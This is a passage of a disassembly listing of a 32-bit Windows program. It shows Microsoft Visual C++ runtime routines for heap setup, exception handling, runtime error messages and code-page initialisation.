sar eax, 5 and ecx, 1Fh mov eax, dword_4074E0[eax*4] lea eax, [eax+ecx*8] mov ecx, [ebx] mov [eax], ecx mov cl, [ebp+0] mov [eax+4], cl loc_4033EE: ; CODE XREF: sub_4032C7+EFj ; sub_4032C7+F7j ... inc edi inc ebp add ebx, 4 cmp edi, esi jl short loc_4033B1 loc_4033F7: ; CODE XREF: sub_4032C7+65j ; sub_4032C7+71j ... xor ebx, ebx loc_4033F9: ; CODE XREF: sub_4032C7+195j mov eax, dword_4074E0 cmp dword ptr [eax+ebx*8], 0FFFFFFFFh lea esi, [eax+ebx*8] jnz short loc_403454 test ebx, ebx mov byte ptr [esi+4], 81h jnz short loc_403414 push 0FFFFFFF6h pop eax jmp short loc_40341E ; --------------------------------------------------------------------------- loc_403414: ; CODE XREF: sub_4032C7+146j mov eax, ebx dec eax neg eax sbb eax, eax add eax, 0FFFFFFF5h loc_40341E: ; CODE XREF: sub_4032C7+14Bj push eax call dword_4050A4 ; GetStdHandle mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_403443 push edi call dword_4050A0 ; GetFileType test eax, eax jz short loc_403443 and eax, 0FFh mov [esi], edi cmp eax, 2 jnz short loc_403449 loc_403443: ; CODE XREF: sub_4032C7+163j ; sub_4032C7+16Ej or byte ptr [esi+4], 40h jmp short loc_403458 ; --------------------------------------------------------------------------- loc_403449: ; CODE XREF: sub_4032C7+17Aj cmp eax, 3 jnz short loc_403458 or byte ptr [esi+4], 8 jmp short loc_403458 ; --------------------------------------------------------------------------- loc_403454: ; CODE XREF: sub_4032C7+13Ej or byte ptr [esi+4], 80h loc_403458: ; CODE XREF: sub_4032C7+180j ; sub_4032C7+185j ... inc ebx cmp ebx, 3 jl short loc_4033F9 push dword_4075E0 call dword_4050A8 ; SetHandleCount pop edi pop esi pop ebp pop ebx add esp, 44h retn sub_4032C7 endp ; =============== S U B R O U T I N E ======================================= sub_403472 proc near ; CODE XREF: .text:00402988p arg_0 = dword ptr 4 xor eax, eax push 0 cmp [esp+4+arg_0], eax push 1000h setz al push eax call dword_405098 ; HeapCreate test eax, eax mov dword_4074C8, eax jz short loc_4034A7 call sub_403E1A test eax, eax jnz short loc_4034AA push dword_4074C8 call dword_40509C ; HeapDestroy loc_4034A7: ; CODE XREF: sub_403472+1Ej xor eax, eax retn ; --------------------------------------------------------------------------- loc_4034AA: ; CODE XREF: sub_403472+27j push 1 pop eax retn sub_403472 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4034B0 proc near ; CODE XREF: sub_4035A8+5Ap arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx push esi push edi push ebp push 0 push 0 push offset loc_4034C8 push [ebp+arg_0] call sub_404DA8 ; RtlUnwind loc_4034C8: ; DATA XREF: sub_4034B0+Bo pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4034B0 endp ; =============== S U B R O U T I N E ======================================= sub_4034D0 proc near ; DATA XREF: sub_4034F2+Ao ; .text:00403563o arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_C = dword ptr 10h mov ecx, [esp+arg_0] test dword ptr [ecx+4], 6 mov eax, 1 jz short locret_4034F1 mov eax, [esp+arg_4] mov edx, [esp+arg_C] mov [edx], eax mov eax, 3 locret_4034F1: ; CODE XREF: sub_4034D0+10j retn sub_4034D0 endp ; =============== S U B R O U T I N E ======================================= sub_4034F2 proc near ; CODE XREF: sub_4035A8+67p ; sub_4035A8+A7p ... var_14 = dword ptr -14h arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi push edi mov eax, [esp+0Ch+arg_0] push eax push 0FFFFFFFEh push offset sub_4034D0 push large dword ptr fs:0 mov large fs:0, esp loc_40350F: ; CODE XREF: sub_4034F2:loc_40354Aj mov eax, [esp+1Ch+arg_0] mov ebx, [eax+8] mov esi, [eax+0Ch] cmp esi, 0FFFFFFFFh jz short loc_40354C cmp esi, [esp+1Ch+arg_4] jz short loc_40354C lea esi, [esi+esi*2] mov ecx, [ebx+esi*4] mov [esp+1Ch+var_14], ecx mov [eax+0Ch], ecx cmp dword ptr [ebx+esi*4+4], 0 jnz short loc_40354A push 101h mov eax, [ebx+esi*4+8] call sub_403586 call dword ptr [ebx+esi*4+8] loc_40354A: ; CODE XREF: sub_4034F2+44j jmp short loc_40350F ; --------------------------------------------------------------------------- loc_40354C: ; CODE XREF: sub_4034F2+2Aj ; sub_4034F2+30j pop large dword ptr fs:0 add esp, 0Ch pop edi pop esi pop ebx retn sub_4034F2 endp ; --------------------------------------------------------------------------- xor eax, eax mov ecx, large fs:0 cmp dword ptr [ecx+4], offset sub_4034D0 jnz short locret_40357C mov edx, [ecx+0Ch] mov edx, [edx+0Ch] cmp [ecx+8], edx jnz short locret_40357C mov eax, 1 locret_40357C: ; CODE XREF: .text:0040356Aj ; .text:00403575j retn ; --------------------------------------------------------------------------- push ebx push ecx mov ebx, offset dword_406F1C jmp short loc_403590 ; =============== S U B R O U T I N E ======================================= sub_403586 proc near ; CODE XREF: sub_4034F2+4Fp ; sub_4035A8+78p push ebx push ecx mov ebx, offset dword_406F1C mov ecx, [ebp+8] loc_403590: ; CODE XREF: .text:00403584j mov [ebx+8], ecx mov [ebx+4], eax mov [ebx+0Ch], ebp pop ecx pop ebx retn 4 sub_403586 endp ; --------------------------------------------------------------------------- align 10h push esi inc ebx xor dh, [eax] pop eax inc ebx xor [eax], dh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4035A8 proc near ; DATA XREF: .text:00402938o ; sub_40380C+Ao ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi push ebp cld mov ebx, [ebp+arg_4] mov eax, [ebp+arg_0] test dword ptr [eax+4], 6 jnz loc_403648 mov [ebp+var_8], eax mov eax, [ebp+arg_8] mov [ebp+var_4], eax lea eax, [ebp+var_8] mov [ebx-4], eax mov esi, [ebx+0Ch] mov edi, [ebx+8] loc_4035DB: ; CODE XREF: sub_4035A8+90j cmp esi, 0FFFFFFFFh jz short loc_403641 lea ecx, [esi+esi*2] cmp dword ptr [edi+ecx*4+4], 0 jz short loc_40362F push esi push ebp lea ebp, [ebx+10h] call dword ptr [edi+ecx*4+4] pop ebp pop esi mov ebx, [ebp+arg_4] or eax, eax jz short loc_40362F js short loc_40363A mov edi, [ebx+8] push ebx call sub_4034B0 add esp, 4 lea ebp, [ebx+10h] push esi push ebx call sub_4034F2 add esp, 8 lea ecx, [esi+esi*2] push 1 mov eax, [edi+ecx*4+8] call sub_403586 mov eax, [edi+ecx*4] mov [ebx+0Ch], eax call dword ptr [edi+ecx*4+8] loc_40362F: ; CODE XREF: sub_4035A8+40j ; sub_4035A8+52j mov edi, [ebx+8] lea ecx, [esi+esi*2] mov esi, [edi+ecx*4] jmp short loc_4035DB ; --------------------------------------------------------------------------- loc_40363A: ; CODE XREF: sub_4035A8+54j mov eax, 0 jmp short loc_40365D ; --------------------------------------------------------------------------- loc_403641: ; CODE XREF: sub_4035A8+36j mov eax, 1 jmp short loc_40365D ; --------------------------------------------------------------------------- loc_403648: ; CODE XREF: sub_4035A8+18j push ebp lea ebp, [ebx+10h] push 0FFFFFFFFh push ebx call sub_4034F2 add esp, 8 pop ebp mov eax, 1 loc_40365D: ; CODE XREF: sub_4035A8+97j ; sub_4035A8+9Ej pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4035A8 endp ; --------------------------------------------------------------------------- push ebp mov ecx, [esp+8] mov ebp, [ecx] mov eax, [ecx+1Ch] push eax mov eax, [ecx+18h] push eax call sub_4034F2 add esp, 8 pop ebp retn 4 ; =============== S U B R O U T I N E ======================================= sub_403680 proc near ; CODE XREF: sub_402A24+9p ; sub_402A49+9p mov eax, dword_4070D8 cmp eax, 1 jz short loc_403697 test eax, eax jnz short locret_4036B8 cmp dword_406C64, 1 jnz short locret_4036B8 loc_403697: ; CODE XREF: sub_403680+8j push 0FCh call sub_4036B9 mov eax, dword_407234 pop ecx test eax, eax jz short loc_4036AD call eax ; dword_407234 loc_4036AD: ; CODE XREF: sub_403680+29j push 0FFh call sub_4036B9 pop ecx locret_4036B8: ; CODE XREF: sub_403680+Cj ; sub_403680+15j retn sub_403680 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4036B9 proc near ; CODE XREF: sub_402A24+12p ; sub_402A49+12p ... var_1A4 = byte ptr -1A4h var_A0 = byte ptr -0A0h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1A4h mov edx, [ebp+arg_0] xor ecx, ecx mov eax, offset dword_406F30 loc_4036CC: ; CODE XREF: sub_4036B9+20j cmp edx, [eax] jz short loc_4036DB add eax, 8 inc ecx cmp eax, offset byte_406FC0 jl short loc_4036CC loc_4036DB: ; CODE XREF: sub_4036B9+15j push esi mov esi, ecx shl esi, 3 cmp edx, dword_406F30[esi] jnz loc_403809 mov eax, dword_4070D8 cmp eax, 1 jz loc_4037E3 test eax, eax jnz short loc_40370C cmp dword_406C64, 1 jz loc_4037E3 loc_40370C: ; CODE XREF: sub_4036B9+44j cmp edx, 0FCh jz loc_403809 lea eax, [ebp+var_1A4] push 104h push eax push 0 call dword_405038 ; GetModuleFileNameA test eax, eax jnz short loc_403743 lea eax, [ebp+var_1A4] push offset aProgramNameUnk ; "<program name unknown>" push eax call sub_402810 pop ecx pop ecx loc_403743: ; CODE XREF: sub_4036B9+75j lea eax, [ebp+var_1A4] push edi push eax lea edi, [ebp+var_1A4] call sub_402300 inc eax pop ecx cmp eax, 3Ch jbe short loc_403786 lea eax, [ebp+var_1A4] push eax call sub_402300 mov edi, eax lea eax, [ebp+var_1A4] sub eax, 3Bh push 3 add edi, eax push offset a___ ; "..." push edi call sub_4046F0 add esp, 10h loc_403786: ; CODE XREF: sub_4036B9+A2j lea eax, [ebp+var_A0] push offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: " push eax call sub_402810 lea eax, [ebp+var_A0] push edi push eax call sub_402820 lea eax, [ebp+var_A0] push offset asc_40540C ; "\n\n" push eax call sub_402820 push off_406F34[esi] lea eax, [ebp+var_A0] push eax call sub_402820 push 12010h lea eax, [ebp+var_A0] push offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library" push eax call sub_404663 add esp, 2Ch pop edi jmp short loc_403809 ; --------------------------------------------------------------------------- loc_4037E3: ; CODE XREF: sub_4036B9+3Cj ; sub_4036B9+4Dj lea eax, [ebp+arg_0] lea esi, off_406F34[esi] push 0 push eax push dword ptr [esi] call sub_402300 pop ecx push eax push dword ptr [esi] push 0FFFFFFF4h call dword_4050A4 ; GetStdHandle push eax call dword_405088 ; WriteFile loc_403809: ; CODE XREF: sub_4036B9+2Ej ; sub_4036B9+59j ... pop esi leave retn sub_4036B9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40380C proc near ; CODE XREF: sub_402B3C+5Ep ; sub_403BD6+9Ap var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_405450 push offset sub_4035A8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push ebx push esi push edi mov [ebp+var_18], esp mov eax, dword_407238 xor ebx, ebx cmp eax, ebx jnz short loc_40387B lea eax, [ebp+var_1C] push eax push 1 pop esi push esi push offset dword_405448 push esi call dword_40507C ; GetStringTypeW test eax, eax jz short loc_403859 mov eax, esi jmp short loc_403876 ; --------------------------------------------------------------------------- loc_403859: ; CODE XREF: sub_40380C+47j lea eax, [ebp+var_1C] push eax push esi push offset dword_4070C8 push esi push ebx call dword_405080 ; GetStringTypeA test eax, eax jz loc_403941 push 2 pop eax loc_403876: ; CODE XREF: sub_40380C+4Bj mov dword_407238, eax loc_40387B: ; CODE XREF: sub_40380C+2Fj cmp eax, 2 jnz short loc_4038A4 mov eax, [ebp+arg_14] cmp eax, ebx jnz short loc_40388C mov eax, dword_407254 loc_40388C: ; CODE XREF: sub_40380C+79j push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] push eax call dword_405080 ; GetStringTypeA jmp loc_403943 ; --------------------------------------------------------------------------- loc_4038A4: ; CODE XREF: sub_40380C+72j cmp eax, 1 jnz loc_403941 cmp [ebp+arg_10], ebx jnz short loc_4038BA mov eax, dword_407264 mov [ebp+arg_10], eax loc_4038BA: ; CODE XREF: sub_40380C+A4j push ebx push ebx push [ebp+arg_8] push [ebp+arg_4] mov eax, [ebp+arg_18] neg eax sbb eax, eax and eax, 8 inc eax push eax push [ebp+arg_10] call dword_405084 ; MultiByteToWideChar mov [ebp+var_20], eax cmp eax, ebx jz short loc_403941 mov [ebp+var_4], ebx lea edi, [eax+eax] mov eax, edi add eax, 3 and al, 0FCh call sub_4026C0 mov [ebp+var_18], esp mov esi, esp mov [ebp+var_24], esi push edi push ebx push esi call sub_4022A0 add esp, 0Ch jmp short loc_403910 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx xor esi, esi loc_403910: ; CODE XREF: sub_40380C+F7j or [ebp+var_4], 0FFFFFFFFh cmp esi, ebx jz short loc_403941 push [ebp+var_20] push esi push [ebp+arg_8] push [ebp+arg_4] push 1 push [ebp+arg_10] call dword_405084 ; MultiByteToWideChar cmp eax, ebx jz short loc_403941 push [ebp+arg_C] push eax push esi push [ebp+arg_0] call dword_40507C ; GetStringTypeW jmp short loc_403943 ; --------------------------------------------------------------------------- loc_403941: ; CODE XREF: sub_40380C+61j ; sub_40380C+9Bj ... xor eax, eax loc_403943: ; CODE XREF: sub_40380C+93j ; sub_40380C+133j lea esp, [ebp-34h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_40380C endp ; =============== S U B R O U T I N E ======================================= sub_403955 proc near ; CODE XREF: sub_402E37+2Bp arg_0 = dword ptr 4 push 4 push 0 push [esp+8+arg_0] call sub_403966 add esp, 0Ch retn sub_403955 endp ; =============== S U B R O U T I N E ======================================= sub_403966 proc near ; CODE XREF: sub_403955+8p arg_0 = byte ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch movzx eax, [esp+arg_0] mov cl, [esp+arg_8] test byte_4073C1[eax], cl jnz short loc_403993 cmp [esp+arg_4], 0 jz short loc_40398C movzx eax, word_406C7A[eax*2] and eax, [esp+arg_4] jmp short loc_40398E ; --------------------------------------------------------------------------- loc_40398C: ; CODE XREF: sub_403966+16j xor eax, eax loc_40398E: ; CODE XREF: sub_403966+24j test eax, eax jnz short loc_403993 retn ; --------------------------------------------------------------------------- loc_403993: ; CODE XREF: sub_403966+Fj ; sub_403966+2Aj push 1 pop eax retn sub_403966 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403997 proc near ; CODE XREF: sub_403D5B+Bp var_18 = dword ptr -18h var_12 = byte ptr -12h var_11 = byte ptr -11h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi push [ebp+arg_0] call sub_403B30 ; GetOEMCP mov esi, eax pop ecx cmp esi, dword_407290 mov [ebp+arg_0], esi jz loc_403B24 xor ebx, ebx cmp esi, ebx jz loc_403B1A xor edx, edx mov eax, offset dword_406FC8 loc_4039CB: ; CODE XREF: sub_403997+41j cmp [eax], esi jz short loc_403A41 add eax, 30h inc edx cmp eax, offset dword_4070B8 jl short loc_4039CB lea eax, [ebp+var_18] push eax push esi call dword_405078 ; GetCPInfo cmp eax, 1 jnz loc_403B12 push 40h xor eax, eax pop ecx mov edi, offset byte_4073C0 cmp [ebp+var_18], 1 mov dword_407290, esi rep stosd stosb mov dword_4074C4, ebx jbe loc_403B00 cmp [ebp+var_12], 0 jz loc_403AD6 lea ecx, [ebp+var_11] loc_403A1E: ; CODE XREF: sub_403997+139j mov dl, [ecx] test dl, dl jz loc_403AD6 movzx eax, byte ptr [ecx-1] movzx edx, dl loc_403A2F: ; CODE XREF: sub_403997+A8j cmp eax, edx ja loc_403ACA or byte_4073C1[eax], 4 inc eax jmp short loc_403A2F ; --------------------------------------------------------------------------- loc_403A41: ; CODE XREF: sub_403997+36j push 40h xor eax, eax pop ecx mov edi, offset byte_4073C0 rep stosd lea esi, [edx+edx*2] mov [ebp+var_4], ebx shl esi, 4 stosb lea ebx, dword_406FD8[esi] loc_403A5D: ; CODE XREF: sub_403997+103j cmp byte ptr [ebx], 0 mov ecx, ebx jz short loc_403A90 loc_403A64: ; CODE XREF: sub_403997+F7j mov dl, [ecx+1] test dl, dl jz short loc_403A90 movzx eax, byte ptr [ecx] movzx edi, dl cmp eax, edi ja short loc_403A89 mov edx, [ebp+var_4] mov dl, byte_406FC0[edx] loc_403A7E: ; CODE XREF: sub_403997+F0j or byte_4073C1[eax], dl inc eax cmp eax, edi jbe short loc_403A7E loc_403A89: ; CODE XREF: sub_403997+DCj inc ecx inc ecx cmp byte ptr [ecx], 0 jnz short loc_403A64 loc_403A90: ; CODE XREF: sub_403997+CBj ; sub_403997+D2j inc [ebp+var_4] add ebx, 8 cmp [ebp+var_4], 4 jb short loc_403A5D mov eax, [ebp+arg_0] mov dword_4072AC, 1 push eax mov dword_407290, eax call sub_403B7A lea esi, dword_406FCC[esi] mov edi, offset dword_4072A0 movsd movsd pop ecx mov dword_4074C4, eax movsd jmp short loc_403B1F ; --------------------------------------------------------------------------- loc_403ACA: ; CODE XREF: sub_403997+9Aj inc ecx inc ecx cmp byte ptr [ecx-1], 0 jnz loc_403A1E loc_403AD6: ; CODE XREF: sub_403997+7Ej ; sub_403997+8Bj push 1 pop eax loc_403AD9: ; CODE XREF: sub_403997+14Fj or byte_4073C1[eax], 8 inc eax cmp eax, 0FFh jb short loc_403AD9 push esi call sub_403B7A pop ecx mov dword_4074C4, eax mov dword_4072AC, 1 jmp short loc_403B06 ; --------------------------------------------------------------------------- loc_403B00: ; CODE XREF: sub_403997+74j mov dword_4072AC, ebx loc_403B06: ; CODE XREF: sub_403997+167j xor eax, eax mov edi, offset dword_4072A0 stosd stosd stosd jmp short loc_403B1F ; --------------------------------------------------------------------------- loc_403B12: ; CODE XREF: sub_403997+51j cmp dword_40723C, ebx jz short loc_403B28 loc_403B1A: ; CODE XREF: sub_403997+27j call sub_403BAD loc_403B1F: ; CODE XREF: sub_403997+131j ; sub_403997+179j call sub_403BD6 loc_403B24: ; CODE XREF: sub_403997+1Dj xor eax, eax jmp short loc_403B2B ; --------------------------------------------------------------------------- loc_403B28: ; CODE XREF: sub_403997+181j or eax, 0FFFFFFFFh loc_403B2B: ; CODE XREF: sub_403997+18Fj pop edi pop esi pop ebx leave retn sub_403997 endp ; =============== S U B R O U T I N E ======================================= sub_403B30 proc near ; CODE XREF: sub_403997+Cp arg_0 = dword ptr 4 mov eax, [esp+arg_0] and dword_40723C, 0 cmp eax, 0FFFFFFFEh jnz short loc_403B50 mov dword_40723C, 1 jmp dword_405070 ; --------------------------------------------------------------------------- loc_403B50: ; CODE XREF: sub_403B30+Ej cmp eax, 0FFFFFFFDh jnz short loc_403B65 mov dword_40723C, 1 jmp dword_405074 ; --------------------------------------------------------------------------- loc_403B65: ; CODE XREF: sub_403B30+23j cmp eax, 0FFFFFFFCh jnz short locret_403B79 mov eax, dword_407264 mov dword_40723C, 1 locret_403B79: ; CODE XREF: sub_403B30+38j retn sub_403B30 endp ; =============== S U B R O U T I N E ======================================= sub_403B7A proc near ; CODE XREF: sub_403997+118p ; sub_403997+152p arg_0 = dword ptr 4 mov eax, [esp+arg_0] sub eax, 3A4h jz short loc_403BA7 sub eax, 4 jz short loc_403BA1 sub eax, 0Dh jz short loc_403B9B dec eax jz short loc_403B95 xor eax, eax retn ; --------------------------------------------------------------------------- loc_403B95: ; CODE XREF: sub_403B7A+16j mov eax, 404h retn ; --------------------------------------------------------------------------- loc_403B9B: ; CODE XREF: sub_403B7A+13j mov eax, 412h retn ; --------------------------------------------------------------------------- loc_403BA1: ; CODE XREF: sub_403B7A+Ej mov eax, 804h retn ; --------------------------------------------------------------------------- loc_403BA7: ; CODE XREF: sub_403B7A+9j mov eax, 411h retn sub_403B7A endp ; =============== S U B R O U T I N E ======================================= sub_403BAD proc near ; CODE XREF: sub_403997:loc_403B1Ap push edi push 40h pop ecx xor eax, eax mov edi, offset byte_4073C0 rep stosd stosb xor eax, eax mov edi, offset dword_4072A0 mov dword_407290, eax mov dword_4072AC, eax mov dword_4074C4, eax stosd stosd stosd pop edi retn sub_403BAD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403BD6 proc near ; CODE XREF: sub_403997:loc_403B1Fp var_514 = byte ptr -514h var_314 = byte ptr -314h var_214 = byte ptr -214h var_114 = byte ptr -114h var_14 = byte ptr -14h var_E = byte ptr -0Eh var_D = byte ptr -0Dh push ebp mov ebp, esp sub esp, 514h lea eax, [ebp+var_14] push esi push eax push dword_407290 call dword_405078 ; GetCPInfo cmp eax, 1 jnz loc_403D0F xor eax, eax mov esi, 100h loc_403C00: ; CODE XREF: sub_403BD6+34j mov [ebp+eax+var_114], al inc eax cmp eax, esi jb short loc_403C00 mov al, [ebp+var_E] mov [ebp+var_114], 20h test al, al jz short loc_403C51 push ebx push edi lea edx, [ebp+var_D] loc_403C1F: ; CODE XREF: sub_403BD6+77j movzx ecx, byte ptr [edx] movzx eax, al cmp eax, ecx ja short loc_403C46 sub ecx, eax lea edi, [ebp+eax+var_114] inc ecx mov eax, 20202020h mov ebx, ecx shr ecx, 2 rep stosd mov ecx, ebx and ecx, 3 rep stosb loc_403C46: ; CODE XREF: sub_403BD6+51j inc edx inc edx mov al, [edx-1] test al, al jnz short loc_403C1F pop edi pop ebx loc_403C51: ; CODE XREF: sub_403BD6+42j push 0 lea eax, [ebp+var_514] push dword_4074C4 push dword_407290 push eax lea eax, [ebp+var_114] push esi push eax push 1 call sub_40380C push 0 lea eax, [ebp+var_214] push dword_407290 push esi push eax lea eax, [ebp+var_114] push esi push eax push esi push dword_4074C4 call sub_4047EE push 0 lea eax, [ebp+var_314] push dword_407290 push esi push eax lea eax, [ebp+var_114] push esi push eax push 200h push dword_4074C4 call sub_4047EE add esp, 5Ch xor eax, eax lea ecx, [ebp+var_514] loc_403CCC: ; CODE XREF: sub_403BD6+135j mov dx, [ecx] test dl, 1 jz short loc_403CEA or byte_4073C1[eax], 10h mov dl, [ebp+eax+var_214] loc_403CE2: ; CODE XREF: sub_403BD6+127j mov byte_4072C0[eax], dl jmp short loc_403D06 ; --------------------------------------------------------------------------- loc_403CEA: ; CODE XREF: sub_403BD6+FCj test dl, 2 jz short loc_403CFF or byte_4073C1[eax], 20h mov dl, [ebp+eax+var_314] jmp short loc_403CE2 ; --------------------------------------------------------------------------- loc_403CFF: ; CODE XREF: sub_403BD6+117j and byte_4072C0[eax], 0 loc_403D06: ; CODE XREF: sub_403BD6+112j inc eax inc ecx inc ecx cmp eax, esi jb short loc_403CCC jmp short loc_403D58 ; --------------------------------------------------------------------------- loc_403D0F: ; CODE XREF: sub_403BD6+1Dj xor eax, eax mov esi, 100h loc_403D16: ; CODE XREF: sub_403BD6+180j cmp eax, 41h jb short loc_403D34 cmp eax, 5Ah ja short loc_403D34 or byte_4073C1[eax], 10h mov cl, al add cl, 20h loc_403D2C: ; CODE XREF: sub_403BD6+174j mov byte_4072C0[eax], cl jmp short loc_403D53 ; --------------------------------------------------------------------------- loc_403D34: ; CODE XREF: sub_403BD6+143j ; sub_403BD6+148j cmp eax, 61h jb short loc_403D4C cmp eax, 7Ah ja short loc_403D4C or byte_4073C1[eax], 20h mov cl, al sub cl, 20h jmp short loc_403D2C ; --------------------------------------------------------------------------- loc_403D4C: ; CODE XREF: sub_403BD6+161j ; sub_403BD6+166j and byte_4072C0[eax], 0 loc_403D53: ; CODE XREF: sub_403BD6+15Cj inc eax cmp eax, esi jb short loc_403D16 loc_403D58: ; CODE XREF: sub_403BD6+137j pop esi leave retn sub_403BD6 endp ; =============== S U B R O U T I N E ======================================= sub_403D5B proc near ; CODE XREF: sub_402E37+9p ; sub_402E8F+Dp ... cmp dword_4075E8, 0 jnz short locret_403D76 push 0FFFFFFFDh call sub_403997 pop ecx mov dword_4075E8, 1 locret_403D76: ; CODE XREF: sub_403D5B+7j retn sub_403D5B endp ; =============== S U B R O U T I N E ======================================= sub_403D77 proc near ; CODE XREF: sub_402E8F+9Dp ; sub_403195+BFp arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jz short loc_403DA4 push esi call sub_403E58 pop ecx test eax, eax push esi jz short loc_403D96 push eax call sub_403E83 pop ecx pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_403D96: ; CODE XREF: sub_403D77+13j push 0 push dword_4074C8 call dword_405090 ; RtlFreeHeap loc_403DA4: ; CODE XREF: sub_403D77+7j pop esi retn sub_403D77 endp ; =============== S U B R O U T I N E ======================================= sub_403DA6 proc near ; CODE XREF: sub_402E8F+3Ap ; sub_402E8F+6Fp ... arg_0 = dword ptr 4 push dword_407270 push [esp+4+arg_0] call sub_403DB8 pop ecx pop ecx retn sub_403DA6 endp ; =============== S U B R O U T I N E ======================================= sub_403DB8 proc near ; CODE XREF: sub_403DA6+Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0FFFFFFE0h ja short loc_403DE1 loc_403DBF: ; CODE XREF: sub_403DB8+27j push [esp+arg_0] call sub_403DE4 test eax, eax pop ecx jnz short locret_403DE3 cmp [esp+arg_4], eax jz short locret_403DE3 push [esp+arg_0] call sub_404A3D test eax, eax pop ecx jnz short loc_403DBF loc_403DE1: ; CODE XREF: sub_403DB8+5j xor eax, eax locret_403DE3: ; CODE XREF: sub_403DB8+13j ; sub_403DB8+19j retn sub_403DB8 endp ; =============== S U B R O U T I N E ======================================= sub_403DE4 proc near ; CODE XREF: sub_403DB8+Bp arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] cmp esi, dword_4070B8 ja short loc_403DFC push esi call sub_4041AE test eax, eax pop ecx jnz short loc_403E18 loc_403DFC: ; CODE XREF: sub_403DE4+Bj test esi, esi jnz short loc_403E03 push 1 pop esi loc_403E03: ; CODE XREF: sub_403DE4+1Aj add esi, 0Fh and esi, 0FFFFFFF0h push esi push 0 push dword_4074C8 call dword_40506C ; RtlAllocateHeap loc_403E18: ; CODE XREF: sub_403DE4+16j pop esi retn sub_403DE4 endp ; =============== S U B R O U T I N E ======================================= sub_403E1A proc near ; CODE XREF: sub_403472+20p push 140h push 0 push dword_4074C8 call dword_40506C ; RtlAllocateHeap test eax, eax mov dword_40728C, eax jnz short loc_403E37 retn ; --------------------------------------------------------------------------- loc_403E37: ; CODE XREF: sub_403E1A+1Aj and dword_407284, 0 and dword_407288, 0 push 1 mov dword_407280, eax mov dword_407278, 10h pop eax retn sub_403E1A endp ; =============== S U B R O U T I N E ======================================= sub_403E58 proc near ; CODE XREF: sub_403D77+Ap arg_0 = dword ptr 4 mov eax, dword_407288 lea ecx, [eax+eax*4] mov eax, dword_40728C lea ecx, [eax+ecx*4] loc_403E68: ; CODE XREF: sub_403E58+26j cmp eax, ecx jnb short loc_403E80 mov edx, [esp+arg_0] sub edx, [eax+0Ch] cmp edx, 100000h jb short locret_403E82 add eax, 14h jmp short loc_403E68 ; --------------------------------------------------------------------------- loc_403E80: ; CODE XREF: sub_403E58+12j xor eax, eax locret_403E82: ; CODE XREF: sub_403E58+21j retn sub_403E58 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403E83 proc near ; CODE XREF: sub_403D77+16p var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 14h mov edx, [ebp+arg_4] mov ecx, [ebp+arg_0] push ebx push esi mov eax, [ecx+10h] mov esi, edx sub esi, [ecx+0Ch] mov ebx, [edx-4] add edx, 0FFFFFFFCh push edi shr esi, 0Fh mov ecx, esi mov edi, [edx-4] imul ecx, 204h dec ebx mov [ebp+var_4], edi lea ecx, [ecx+eax+144h] mov [ebp+var_C], ebx mov [ebp+var_10], ecx mov ecx, [ebx+edx] test cl, 1 mov [ebp+var_8], ecx jnz short loc_403F49 sar ecx, 4 push 3Fh dec ecx pop edi mov [ebp+arg_4], ecx cmp ecx, edi jbe short loc_403EDB mov [ebp+arg_4], edi loc_403EDB: ; CODE XREF: sub_403E83+53j mov ecx, [ebx+edx+4] cmp ecx, [ebx+edx+8] jnz short loc_403F2D mov ecx, [ebp+arg_4] cmp ecx, 20h jnb short loc_403F09 mov edi, 80000000h shr edi, cl lea ecx, [ecx+eax+4] not edi and [eax+esi*4+44h], edi dec byte ptr [ecx] jnz short loc_403F2D mov ecx, [ebp+arg_0] and [ecx], edi jmp short loc_403F2D ; --------------------------------------------------------------------------- loc_403F09: ; CODE XREF: sub_403E83+68j add ecx, 0FFFFFFE0h mov edi, 80000000h shr edi, cl mov ecx, [ebp+arg_4] lea ecx, [ecx+eax+4] not edi and [eax+esi*4+0C4h], edi dec byte ptr [ecx] jnz short loc_403F2D mov ecx, [ebp+arg_0] and [ecx+4], edi loc_403F2D: ; CODE XREF: 